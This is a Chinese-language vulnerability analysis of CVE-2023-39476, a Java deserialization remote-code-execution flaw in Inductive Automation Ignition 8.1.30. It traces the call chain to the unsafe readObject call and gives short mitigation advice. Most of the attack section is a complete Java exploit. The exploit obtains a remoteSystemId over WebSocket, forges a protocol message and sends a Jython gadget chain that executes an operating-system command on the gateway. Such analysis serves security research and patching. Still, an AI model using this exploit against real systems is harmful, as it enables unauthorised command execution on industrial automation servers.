CVE-2023-39476 Inductive Automation Ignition JavaSerializationCodec Deserialization RCE
字数 1644 2025-08-24 10:10:13
Inductive Automation Ignition JavaSerializationCodec 反序列化漏洞分析 (CVE-2023-39476)
漏洞概述
CVE-2023-39476 是 Inductive Automation Ignition 中存在的一个 Java 反序列化远程代码执行漏洞。该漏洞存在于 JavaSerializationCodec 组件中,允许攻击者通过构造特定的序列化数据实现远程代码执行。
受影响版本
- Ignition 8.1.30 及之前版本
- 测试发现 Ignition 8.1.31 版本仍未修复
环境搭建
- 下载安装 Ignition 8.1.30 Windows 64位安装包 (
ignition-8.1.30-windows-64-installer.exe) - 默认安装即可
- 安装后运行的服务配置如下:
"C:\Program Files\Inductive Automation\Ignition\IgnitionGateway.exe" -s "C:\Program Files\Inductive Automation\Ignition\data\ignition.conf"
调试环境配置
- 取消注释
ignition.conf中的远程 JVM 调试配置 - 将以下目录中的 JAR 文件添加到调试项目的库中:
lib/wrapper.jarlib/core/common/*lib/core/gateway/*
漏洞分析
漏洞点定位
漏洞位于 com.inductiveautomation.metro.impl.codecs.JavaSerializationCodec 类的 decode 方法中,该方法直接使用了 ObjectInputStream.readObject() 进行反序列化操作,没有进行任何安全校验。
public Object decode(ByteBuffer input) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(input.array()));
return ois.readObject(); // 漏洞点
}
调用链分析
完整的调用链如下:
DataChannelServlet#doPost(入口点)WebSocketConnection#onDataReceivedWebSocketConnection#forwardConnectionWatcher#handleConnectionWatcher#handleConnectionMessageServerMessage#decodePayloadJavaSerializationCodec#decode(漏洞点)
攻击路径
- 访问
/system/ws-datachannel-servlet端点 - 需要先通过 WebSocket 建立连接获取
remoteConnectionId - 构造恶意序列化数据发送到上述端点
漏洞利用条件
-
SSL/TLS 配置:
- 默认情况下需要 HTTPS 连接
- 可以在管理界面取消 "Require SSL/TLS" 选项以允许 HTTP 访问
-
IP 访问策略:
- 需要将 IP 访问策略设置为 "Unrestricted"
- 或者将攻击者 IP 添加到白名单中
漏洞利用步骤
第一步:获取 remoteConnectionId
- 构造 WebSocket 连接到
/system/ws-control-servlet端点:ws://[target]:8088/system/ws-control-servlet?name=q&uuid=6a7e39e1-1ca4-405f-bfb3-6d971d6e7211&url=http://[target]:8088/system - 从响应头中获取
remoteSystemId值
第二步:构造恶意请求
- 使用 Java 序列化构造恶意对象
- 使用 Jython 的 gadget 链实现 RCE
- 将 payload 发送到
/system/ws-datachannel-servlet端点
完整利用代码
package org.example;
import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
String url = "http://172.16.1.152:8088";
System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
HttpClient httpClient = HttpClient.newBuilder()
.connectTimeout(Duration.ofSeconds(30))
.build();
String name = "qq";
String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
.GET()
.header("Connection", "Upgrade")
.header("Sec-WebSocket-Version", "13")
.header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==")
.header("Upgrade", "websocket")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
if (headerForRemoteSystemID.size() < 1) {
System.out.println("[X] can't get remoteSystemId");
}
String remoteSystemId = headerForRemoteSystemID.get(0).split("\\|")[0];
System.out.println("remoteSystemId=" + remoteSystemId);
ByteArrayOutputStream stream = new ByteArrayOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(stream);
dataOutputStream.writeInt(18753); // magicBytes
dataOutputStream.writeInt(1); // protocolVersion
dataOutputStream.writeShort(1); // messageId
dataOutputStream.writeInt(1); //opCode
dataOutputStream.writeInt(1); //flags
dataOutputStream.writeByte(1); //senderId
dataOutputStream.writeShort(name.length()); // 这里和websocket中的name参数保持一致
dataOutputStream.writeChars(name); //targetAddress
dataOutputStream.writeShort(remoteSystemId.length());
dataOutputStream.writeChars(remoteSystemId); //senderUrl
dataOutputStream.writeShort(1);
dataOutputStream.writeChar(47);
dataOutputStream.writeInt(1); // readObject for ServerMessage
Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance("_conn_svr", "_js_");
Field headersValues = o.getClass().getDeclaredField("headersValues");
headersValues.setAccessible(true);
HashMap map = (HashMap) headersValues.get(o);
map.put("_source_", remoteSystemId);
map.put("replyrequested", "true");
byte[] bs = serialize(o);
dataOutputStream.writeInt(bs.length);
dataOutputStream.write(bs);
// evil payload
byte[] serialize = serialize(getObj("calc"));
dataOutputStream.write(serialize);
HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
.POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
.build();
HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
System.out.println(httpResponse.body());
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
objectOutputStream.writeObject(o);
objectOutputStream.flush();
objectOutputStream.flush();
stream.flush();
return stream.toByteArray();
}
public static Object getObj(String cmd) throws Exception {
Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
c.setAccessible(true);
Object builtin = c.newInstance("rce", 18, 1);
PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
HashMap<Object, PyObject> myargs = new HashMap<>();
myargs.put("cmd", new PyString(cmd));
PyStringMap locals = new PyStringMap(myargs);
Object[] queue = new Object[]{
new PyString("__import__('os').system(cmd)"), // attack
locals, // context
};
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, queue);
Field declaredField = priorityQueue.getClass().getDeclaredField("size");
declaredField.setAccessible(true);
declaredField.set(priorityQueue, 2);
return priorityQueue;
}
}
修复建议
- 升级到最新版本(如果已发布修复版本)
- 限制对
/system/ws-datachannel-servlet和/system/ws-control-servlet端点的访问 - 保持 SSL/TLS 强制启用
- 配置严格的 IP 访问策略
总结
CVE-2023-39476 是一个典型的 Java 反序列化漏洞,由于直接使用不安全的 ObjectInputStream.readObject() 方法导致。攻击者可以通过构造特定的序列化数据实现远程代码执行。该漏洞利用需要满足特定的配置条件,但在默认配置下仍存在风险。